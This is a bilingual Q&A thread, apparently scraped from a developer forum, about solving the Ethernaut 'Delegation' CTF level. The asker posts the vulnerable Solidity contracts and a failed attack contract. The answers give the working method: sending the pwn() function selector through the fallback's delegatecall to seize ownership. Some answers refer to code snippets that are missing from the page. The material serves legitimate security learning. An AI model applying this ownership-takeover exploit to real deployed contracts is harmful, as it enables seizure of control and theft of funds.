使用委托调用在外部合约中传递 msg.data
我正在经历 ethernaut ctf 挑战,我试图通过我自己的智能合约获得此合约的所有权,这是目标代码:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
我的假设是您可以利用此代码并通过在代表团中传递 msg.data 来获得所有权与委托合约中的 pwn() 函数相对应的合约(使用委托调用这将允许我们获得委托合约的所有权)。我的问题是传递 msg.data,我不完全确定如何正确执行此操作,这是我的尝试:
contract OwnerAttack {
function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}
receive()external payable{
}
但是传输失败,提前感谢您的帮助
I am going through the ethernaut ctf challeneges and I am trying to take ownership of this contract through my own smart contract, here is the target code:
pragma solidity ^0.6.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
My assumption is that you can exploit this code and take ownership by passing msg.data in the Delegation contract that corresponds to the pwn() function in the Delegate contract (using delegate call this will allow us to take ownership of the delegation contract). My problem is passing in the msg.data and I am not entirely sure how to do it properly, here is my attempt:
contract ownerAttack {
function attack(address payable _victim) public payable {
address to = payable(_victim);
(bool sent, ) = to.call{value: msg.value}(abi.encodeWithSignature("pwn()"));
require(sent , "transfer failed");
}
receive()external payable{
}
However the transfer fails, thanks in advance for the help
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论
评论(4)
您已正确确定了解决此问题的方法;我们必须在调用直接合约(委托)时发送目标合约(委托)的函数选择器。
为此,我们可以使用 Web3JS 或 EtherJS。 Ethernaut 控制台支持 Web3JS,因此我们将在这里使用它。
首先,我们必须计算 pwn() 函数的选择器。
const selector = web3.eth.abi.encodeFunctionSignature("pwn()")
其次,我们必须调用 Delegation,但调用
pwn()
作为其函数。这样,回退函数就会被触发,然后委托调用选择器位于事务的 msg.data 中的函数。这样就调用了委托合约的pwn()
函数。为了进行调用,我们只需使用 sendTransaction,例如:
await web3.eth.sendTransaction({from:player, to:contract.address, data:selector})
这应该可以回答您的问题。
You have correctly identified the approach to this; we have to send in the function selector of the target contract (Delegate) while making a call to the immediate contract (Delegation).
For this, we can Web3JS or EtherJS. Ethernaut console supports Web3JS so we will go with that here.
First, we have to calculate the selector for the
pwn()
function.const selector = web3.eth.abi.encodeFunctionSignature("pwn()")
Second, we have to make the call to Delegation, but call
pwn()
as its function. This way, the fallback function is triggered, which then makes the delegate call to the function whose selector is in msg.data of the transaction. Thus,pwn()
function of Delegate contract is called.To make the call, we simply use sendTransaction like:
await web3.eth.sendTransaction({from: player, to: contract.address, data: selector})
And this should answer your question.
我认为 Hasan Answer 会起作用,但如果你想完全在 Solidity 内部进行攻击,我认为你可能可以通过以下方式获得函数签名:
使用 keccak256 进行散列,然后将其转换为 bytes4 这正是 Solidity 生成函数签名的方式,所以这应该有效。
但经过一些研究,看起来您也可以使用它来检索它:
然后使用返回的值进行攻击。
I think Hasan Answer will work, but if you want to do the attack entirely inside solidity, I think you might be able to get the function signature by doing:
Hashing with keccak256 and then casting it to bytes4 is exatcly how Solidity generates function signatures, so this should work.
But after some research it looks like you can also use this to retrieve it:
Then use the returned value to make the attack.
以下内容也适用:
c 是进行委托调用的合约的地址
The following also works:
c is the address of the contract which makes the delegatecall
如果您通过合同进行调用,所有者将被设置为您调用的合同。
因此最好使用 Hasan 提到的 sendTransaction 方法。
if you make the call from a contract, the owner will be set to the contract you call from.
thus its best to use sendTransaction method mentioned by Hasan.